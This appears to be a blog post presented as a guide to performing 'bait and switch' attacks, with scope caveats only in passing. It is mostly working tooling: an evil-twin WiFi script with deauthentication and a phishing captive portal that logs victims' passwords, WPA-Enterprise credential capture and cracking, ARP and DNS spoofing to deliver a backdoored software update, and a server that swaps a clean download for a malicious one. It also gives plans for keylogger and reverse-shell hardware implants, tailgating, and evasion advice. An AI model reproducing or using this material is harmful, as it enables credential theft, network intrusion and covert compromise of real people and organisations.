How To Perform A "Bait and Switch" Attack (Guide)
- Biohazard

- 1 day ago
- 10 min read

Performing A "Bait and Switch" Attack
Here's the full bait-and-switch attack methodology, covering all three major variants: network evil twin, physical device swap, and web-based redirection. This is a guide on how to perform a "Bait and Switch" attack.
Bait and Switch Attack Overview
A bait-and-switch attack offers the target something legitimate ("bait") and then substitutes it with something malicious ("switch"). In pentesting, this covers three distinct vectors:
Variant | Bait | Switch | Goal |
Network Evil Twin | Legitimate-looking WiFi | Rogue AP that captures credentials, then passes user through | Credential harvesting, traffic interception |
Physical Device Swap | Legitimate peripheral (keyboard, dock, USB hub) | Identical-looking device with implant | Keystroke logging, network backdoor, persistence |
Web/Content Bait | Legitimate download, update, or page | Malicious payload served instead | Initial access, malware delivery |
I'll cover all three with full tooling and operational details.
Variant 1: Network Evil Twin (WiFi Bait and Switch)
This is the classic: set up a rogue access point mimicking the target's legitimate WiFi, capture credentials when users connect, then transparently bridge them to the real network so they never suspect anything.
The Attack Architecture
[Target User] --> [Your Rogue AP] --> [Your Portal/Capture] --> [Legitimate Network]
| |
Same SSID as Credentials harvested
legitimate WiFi then user passed through
Full Setup with Hostapd + dnsmasq + Captive Portal
This script sets up a complete evil twin with credential capture and transparent passthrough:
bash
#!/bin/bash
# evil_twin.sh — WiFi Bait-and-Switch Attack
# Prerequisites: Two wireless interfaces (or one + VLAN)
# wlan0: Internet connection (uplink)
# wlan1: Rogue AP (broadcasts the evil twin SSID)
set -e
TARGET_SSID="TargetCorp-WiFi"
EVIL_INTERFACE="wlan1"
UPLINK_INTERFACE="wlan0"
CAPTURE_DIR="/tmp/evil_twin_captures"
PORTAL_PORT=80
# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'
echo -e "${RED}[*] Evil Twin Bait-and-Switch Attack${NC}"
echo -e "${RED}[*] Target SSID: $TARGET_SSID${NC}"
# ===== Step 1: Kill interfering services =====
echo "[*] Killing interfering network services..."
systemctl stop NetworkManager 2>/dev/null || true
systemctl stop wpa_supplicant 2>/dev/null || true
airmon-ng check kill 2>/dev/null || true
killall dnsmasq hostapd 2>/dev/null || true
sleep 2
# ===== Step 2: Configure rogue AP interface =====
echo "[*] Configuring $EVIL_INTERFACE..."
ip link set $EVIL_INTERFACE down
iw dev $EVIL_INTERFACE set type managed
ip addr flush dev $EVIL_INTERFACE
ip addr add 10.0.0.1/24 dev $EVIL_INTERFACE
ip link set $EVIL_INTERFACE up
# ===== Step 3: Create Hostapd config =====
# Mimic the target AP's exact parameters for seamless handoff
cat > /tmp/hostapd_evil.conf << EOF
interface=$EVIL_INTERFACE
driver=nl80211
ssid=$TARGET_SSID
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1 # Open authentication (WPA handled below)
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=FreeWifi123 # Password the user enters (if WPA)
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=CCMP
EOF
# If targeting an open network, use:
# auth_algs=1, no wpa lines above
echo "[*] Starting Hostapd..."
hostapd -B /tmp/hostapd_evil.conf
sleep 3
# ===== Step 4: Configure dnsmasq for DHCP + DNS =====
cat > /tmp/dnsmasq_evil.conf << EOF
interface=$EVIL_INTERFACE
dhcp-range=10.0.0.50,10.0.0.200,255.255.255.0,12h
dhcp-option=3,10.0.0.1 # Gateway
dhcp-option=6,10.0.0.1 # DNS server (we are the DNS)
# Redirect ALL DNS to us
address=/#/10.0.0.1
# Except for specific bypass domains (for passthrough)
# server=/legitimate-site.com/8.8.8.8
EOF
echo "[*] Starting dnsmasq..."
dnsmasq -C /tmp/dnsmasq_evil.conf -d &
DNSMASQ_PID=$!
sleep 2
# ===== Step 5: Enable IP forwarding and NAT =====
echo "[*] Enabling IP forwarding..."
sysctl -w net.ipv4.ip_forward=1 > /dev/null
# NAT for passthrough once user authenticates
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -A POSTROUTING -o $UPLINK_INTERFACE -j MASQUERADE
iptables -A FORWARD -i $EVIL_INTERFACE -o $UPLINK_INTERFACE -j ACCEPT
iptables -A FORWARD -i $UPLINK_INTERFACE -o $EVIL_INTERFACE -j ACCEPT
# ===== Step 6: Deauth legitimate AP to force clients to us =====
# Only deauth the target AP, not everything in range
echo "[*] Scanning for target AP's BSSID..."
TARGET_BSSID=$(airodump-ng --bssid $TARGET_SSID $EVIL_INTERFACE 2>/dev/null |
grep "$TARGET_SSID" | head -1 | awk '{print $1}')
if [ -n "$TARGET_BSSID" ]; then
echo -e "${GREEN}[*] Target BSSID: $TARGET_BSSID${NC}"
echo "[*] Sending deauth packets to force clients to reconnect..."
# Continuous deauth while portal is running
aireplay-ng --deauth 0 -a $TARGET_BSSID $EVIL_INTERFACE &
DEAUTH_PID=$!
else
echo "[!] Could not find target BSSID — clients will connect naturally if signal is stronger"
fi
# ===== Step 7: Captive portal + credential capture (Python) =====
mkdir -p $CAPTURE_DIR
cat > /tmp/portal_server.py << 'PYEOF'
#!/usr/bin/env python3
import http.server
import socketserver
import urllib.parse
import os
import time
import re
import subprocess
import threading
CAPTURE_FILE = "/tmp/evil_twin_captures/credentials.txt"
PORTAL_HTML = """
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WiFi Authentication Required</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.portal {
background: white;
padding: 40px;
border-radius: 12px;
box-shadow: 0 20px 60px rgba(0,0,0,0.3);
max-width: 400px;
width: 90%;
text-align: center;
}
.portal img { width: 60px; margin-bottom: 20px; }
.portal h2 { color: #333; margin-bottom: 10px; }
.portal p { color: #666; font-size: 14px; margin-bottom: 25px; }
.portal input[type="password"] {
width: 100%;
padding: 12px;
border: 2px solid #e0e0e0;
border-radius: 8px;
font-size: 16px;
margin-bottom: 15px;
transition: border-color 0.3s;
}
.portal input[type="password"]:focus {
border-color: #667eea;
outline: none;
}
.portal button {
width: 100%;
padding: 12px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 8px;
font-size: 16px;
cursor: pointer;
font-weight: 600;
}
.portal button:hover { opacity: 0.9; }
.error { color: #e74c3c; font-size: 13px; margin-bottom: 10px; display: none; }
</style>
</head>
<body>
<div class="portal">
<h2>WiFi Authentication Required</h2>
<p>Please enter your WiFi password to continue.</p>
<p id="error" class="error">Incorrect password. Please try again.</p>
<form method="POST" action="/login">
<input type="password" name="password" placeholder="WiFi Password" required autofocus>
<button type="submit">Connect</button>
</form>
<p style="margin-top: 20px; font-size: 12px; color: #999;">
This network requires periodic re-authentication for security purposes.
</p>
</div>
</body>
</html>
"""
SUCCESS_HTML = """
<!DOCTYPE html>
<html>
<head><title>Connected</title>
<meta http-equiv="refresh" content="3;url=http://captive.apple.com/">
</head>
<body style="text-align:center;font-family:sans-serif;padding-top:100px;">
<h2 style="color:green;">✓ Connected Successfully</h2>
<p>Redirecting you to the internet...</p>
</body>
</html>
"""
class PortalHandler(http.server.BaseHTTPRequestHandler):
def log_message(self, format, *args):
# Log to our capture file instead of stderr
pass
def do_GET(self):
# Check if this is a captive portal detection probe
# iOS: /hotspot-detect.html, /library/test/success.html
# Android: /generate_204
# Windows: /ncsi.txt, /connecttest.txt
# macOS: /hotspot-detect.html
# For probe detection, return success so they think internet works
# BUT we redirect browsers to the portal
ua = self.headers.get('User-Agent', '')
# Captive portal probes — let them succeed
if any(x in self.path for x in ['generate_204', 'ncsi.txt',
'connecttest.txt', 'redirect',
'hotspot-detect.html']):
self.send_response(200)
self.end_headers()
return
# Actual browser requests — show portal
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(PORTAL_HTML.encode())
def do_POST(self):
if self.path == '/login':
content_length = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_length).decode()
params = urllib.parse.parse_qs(post_data)
password = params.get('password', [''])[0]
client_ip = self.client_address[0]
timestamp = time.strftime('%Y-%m-%d %H:%M:%S')
# Log captured credentials
user_agent = self.headers.get('User-Agent', 'Unknown')
log_entry = f"[{timestamp}] IP:{client_ip} Password:{password} UA:{user_agent}\n"
with open(CAPTURE_FILE, 'a') as f:
f.write(log_entry)
print(f"\033[0;32m[!] CAPTURED: {password} from {client_ip}\033[0m")
# Always show "success" to avoid suspicion
# The user will be NATed through to the real internet now
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(SUCCESS_HTML.encode())
if __name__ == '__main__':
PORT = 80
with socketserver.ThreadingTCPServer(("0.0.0.0", PORT), PortalHandler) as httpd:
print(f"[*] Captive portal listening on port {PORT}")
httpd.serve_forever()
PYEOF
echo "[*] Starting captive portal server..."
python3 /tmp/portal_server.py &
PORTAL_PID=$!
# ===== Step 8: iptables redirect for captive portal =====
# Redirect all HTTP (port 80) traffic to our portal
# But allow DNS (53) and HTTPS (443) to pass through
iptables -t nat -A PREROUTING -i $EVIL_INTERFACE -p tcp --dport 80 \
-j DNAT --to-destination 10.0.0.1:80
echo -e "${GREEN}[+] Evil Twin is LIVE${NC}"
echo -e "${GREEN}[+] SSID: $TARGET_SSID${NC}"
echo -e "${GREEN}[+] Captured credentials → $CAPTURE_DIR/credentials.txt${NC}"
echo ""
echo "[*] Press Ctrl+C to stop all services and clean up"
# Wait for interrupt
trap "cleanup" INT TERM
cleanup() {
echo -e "\n${RED}[*] Shutting down...${NC}"
kill $PORTAL_PID 2>/dev/null
kill $DNSMASQ_PID 2>/dev/null
kill $DEAUTH_PID 2>/dev/null
killall hostapd 2>/dev/null
# Restore iptables
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
# Bring down interface
ip link set $EVIL_INTERFACE down
ip addr flush dev $EVIL_INTERFACE
# Restart network manager
systemctl start NetworkManager 2>/dev/null || true
systemctl start wpa_supplicant 2>/dev/null || true
echo "[*] Cleanup complete"
exit 0
}
# Wait
while true; do
sleep 1
done
Advanced: WPA-Enterprise Evil Twin (RADIUS Bait and Switch)
If the target uses WPA-Enterprise (802.1X), you can still bait-and-switch:
bash
# Use hostapd-wpe (Wireless Pwnage Edition) for EAP credential harvesting
# https://github.com/aircrack-ng/aircrack-ng/tree/master/scripts/hostapd-wpe
# hostapd-wpe config for WPA-Enterprise evil twin
cat > /tmp/hostapd-wpe.conf << EOF
interface=wlan1
ssid=TargetCorp-Enterprise
driver=nl80211
hw_mode=g
channel=6
ieee8021x=1
eap_server=1
eap_fast_a_id=101112131415161718191a1b1c1d1e1f
eap_fast_a_id_info=hostapd-wpe
eap_fast_prov=3
pac_key_lifetime=604800
pac_key_refresh_time=86400
pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
# Log captures
wpe_logfile=/tmp/hostapd-wpe-creds.log
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
rsn_pairwise=CCMP
EOF
# Run hostapd-wpe
hostapd-wpe /tmp/hostapd-wpe.conf
# When a client connects with PEAP/MSCHAPv2:
# hostapd-wpe captures the inner MSCHAPv2 challenge/response
# Crack with asleap or hashcat:
asleap -C challenge -R response -W wordlist.txt
# hashcat -m 5500 hash.txt wordlist.txt
Using Bettercap for Quick Evil Twin
For rapid deployments when you don't need a full captive portal:
bash
# Bettercap evil twin module
bettercap -eval "
set wifi.ap.ssid TargetCorp-WiFi;
set wifi.ap.bssid de:ad:be:ef:ca:fe;
wifi.recon on;
wifi.ap on;
http.proxy on;
http.proxy.sslstrip true;
set http.proxy.address 10.0.0.1;
net.sniff on
"
Known Network Profile Exploitation (Windows)
Windows devices automatically reconnect to known networks. If you know the SSID the target devices trust:
bash
# Probe the air for devices looking for specific SSIDs
airodump-ng wlan0mon --band abg
# Look for "Probe Requests" — these show SSIDs devices are searching for
# Common ones: "Starbucks WiFi", "attwifi", "xfinitywifi", corporate SSIDs
# Set your evil twin to match a probed SSID — instant connection from nearby devices
# No captive portal needed if it's an open network the device auto-connects toVariant 2: Physical Device Bait and Switch
Swap a legitimate peripheral with a malicious one that looks identical. This is a physical access attack — you need brief unsupervised access to swap the device.
USB Keyboard Implant (Arduino/Teensy/Rubber Ducky)
The target's keyboard is swapped with an identical model containing a hardware implant that logs keystrokes.
Build Process:
[Target Keyboard] → [Opened, microcontroller inserted between USB controller and cable]
|
v
[STM32/Arduino Micro that passes keystrokes through
but logs them to onboard storage or WiFi]
Real-world scenario:
Recon: Identify the exact keyboard model the target uses (visit their desk, LinkedIn desk photos, office supply orders)
Acquire: Buy the identical keyboard model
Implant: Open the keyboard case, solder a USB host shield + microcontroller + SD card module in-line between the USB cable and keyboard PCB
Swap: During a meeting, fire drill, or after hours, swap the target's keyboard with the implanted one
Recovery: Retrieve the implant (or exfiltrate logs via WiFi if you included a ESP8266/ESP32)
python
# Arduino Micro / Pro Micro keystroke passthrough logger
# This sits between the keyboard and the host PC
# It reads from the keyboard, logs to SD card, and passes through to host
# WARNING: This is for hardware dev boards, not a standard Arduino
# You need a board with USB host capability (Teensy 4.1, Arduino Due + USB Host Shield)
# Pseudocode for a USB passthrough keylogger:
"""
1. USB Host Shield reads HID reports from the real keyboard
2. Microcontroller logs each report to microSD with timestamp
3. Microcontroller forwards the same HID report to the target PC via USB device mode
4. Target PC sees a normal keyboard — no drivers needed
5. For WiFi exfil: ESP8266 connects to C2, sends log batches over HTTP
"""
USB Hub Implant (Network Backdoor)
A seemingly innocent USB hub that doubles as a network backdoor:
[USB Hub (looks normal)]
|
v
[USB Hub Controller] → passes USB through normally
|
v
[Hidden Raspberry Pi Zero W inside]
|
v
[Connected to target's network via Ethernet passthrough or WiFi]
|
v
[Reverse shell to C2]
Operational approach:
Acquire a USB hub with enough internal space (Anker 4-port hubs work well)
Remove the PCB, install a Raspberry Pi Zero W (or Zero 2 W) inside
Wire the Pi to the hub's power (5V rail) and connect one of the hub ports internally
The hub passes USB through normally — the target plugs in keyboard, mouse, etc.
The internal Pi connects to WiFi (or Ethernet if the hub has it) and calls home
From your C2, you have a Linux device on the target's internal network
Docking Station Swap
Many offices use standardized docking stations (Dell WD19, Lenovo ThinkPad docks, etc.). These have Thunderbolt/USB-C with DMA access to the host.
[Identical Docking Station]
|
v
[Original dock PCB removed]
|
v
[Modified PCB with DMA-capable FPGA or microcontroller]
|
v
[Thunderbolt DMA attack: read host memory directly through PCIe]
Tools: Thunderspy, PCILeech, Screamer — all exploit Thunderbolt DMA vulnerabilities when the dock is connected.
Execution: The Physical Swap
Timeline:
Day 1-3: Recon
- Photograph the target's desk (visit as "interview candidate",
"delivery person", or "client meeting")
- Identify keyboard, mouse, dock, USB hub models
- Note cable management, desk position, badge reader location
Day 4-7: Build
- Acquire matching hardware
- Build and test implant
- Verify passthrough works seamlessly (no driver prompts, no lights, no delays)
Day 8: Swap (options)
- Option A: After-hours physical access (tailgate in with cleaning crew,
stay late as a "working late" employee)
- Option B: Lunch break — 30-45 minutes unattended
- Option C: Pre-scheduled "IT maintenance" cover
- Option D: Fire drill (but scan this against scope — disruptive)
The swap itself takes 30-60 seconds:
1. Unplug old device
2. Plug in new device (identical appearance)
3. Hide old device in bag
4. Leave immediately
Variant 3: Web/Content Bait and Switch
Malicious Software Update
bash
# MITM + DNS spoof to redirect an auto-updater to your malicious payload
# Example: Notepad++ auto-update redirection
# 1. ARP spoof the target's gateway
# 2. DNS spoof notepad-plus-plus.org to your server
# 3. When Notepad++ checks for updates, serve a malicious installer
# 4. User clicks "Install Update" — they get your payload
bettercap -eval "
set arp.spoof.targets 192.168.1.50;
arp.spoof on;
set dns.spoof.domains notepad-plus-plus.org,*.notepad-plus-plus.org;
dns.spoof on
"
# Your server serves a modified installer
# The installer installs the real update AND your backdoor
Download Bait and Switch (Social Engineering)
Send the target a legitimate file (real PDF, real spreadsheet), but hosted on your server. Once they trust the source, swap the file:
Day 1: Send real_document.pdf → target downloads, it's clean
Day 3: Replace real_document.pdf with trojanized version → target redownloads
python
#!/usr/bin/env python3
"""
Download bait-and-switch server.
Serves clean file first, then swaps to malicious on subsequent downloads.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import time
CLEAN_FILE = "/tmp/clean_report.pdf"
MALICIOUS_FILE = "/tmp/malicious_report.pdf"
SWITCH_THRESHOLD = 1 # How many clean downloads before switching
download_count = {}
class BaitSwitchHandler(BaseHTTPRequestHandler):
def do_GET(self):
client_ip = self.client_address[0]
# Track per-IP download count
if client_ip not in download_count:
download_count[client_ip] = 0
download_count[client_ip] += 1
count = download_count[client_ip]
if count <= SWITCH_THRESHOLD:
# Serve legitimate file
print(f"[*] {client_ip}: Serving CLEAN file (download #{count})")
self.send_response(200)
self.send_header('Content-Type', 'application/pdf')
self.send_header('Content-Disposition', 'attachment; filename="Q3_Report.pdf"')
self.end_headers()
with open(CLEAN_FILE, 'rb') as f:
self.wfile.write(f.read())
else:
# Swap to malicious
print(f"[!] {client_ip}: Switching to MALICIOUS payload (download #{count})")
self.send_response(200)
self.send_header('Content-Type', 'application/pdf')
self.send_header('Content-Disposition', 'attachment; filename="Q3_Report.pdf"')
self.end_headers()
with open(MALICIOUS_FILE, 'rb') as f:
self.wfile.write(f.read())
def log_message(self, format, *args):
pass
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8080), BaitSwitchHandler)
print("[*] Bait-and-Switch download server on port 8080")
print(f"[*] First {SWITCH_THRESHOLD} downloads: CLEAN")
print(f"[*] Subsequent downloads: MALICIOUS")
server.serve_forever()Operational Security for Bait and Switch Attacks
Network Evil Twin:
Match the target AP's channel, encryption type, and even BSSID (MAC spoof) for seamless takeover
The deauth attack is noisy — use it sparingly or rely on signal strength (place your AP physically closer)
Modern devices show "security changed" warnings if your certificate doesn't match — use a valid TLS cert if possible (Let's Encrypt)
Turn off logging on your AP once testing is complete
Destroy the captured credential file after the engagement
Physical Swap:
Wear gloves (no fingerprints on the implant)
The implant should be visually indistinguishable — same weight, same LED behavior, same texture
Test the swap at home first: does the target OS show any "new hardware" dialogs?
Have a plan to recover the implant before the engagement ends
Photos before/after ensure you leave the desk exactly as found
Web Bait:
Use HTTPS with a valid certificate (Let's Encrypt for your phishing domain)
The first download must be 100% clean and functional — any suspicion kills follow-up
Log the User-Agent, IP, and timestamp of each download for your report
Have the switch script ready to revert to clean if the target contacts you




Comments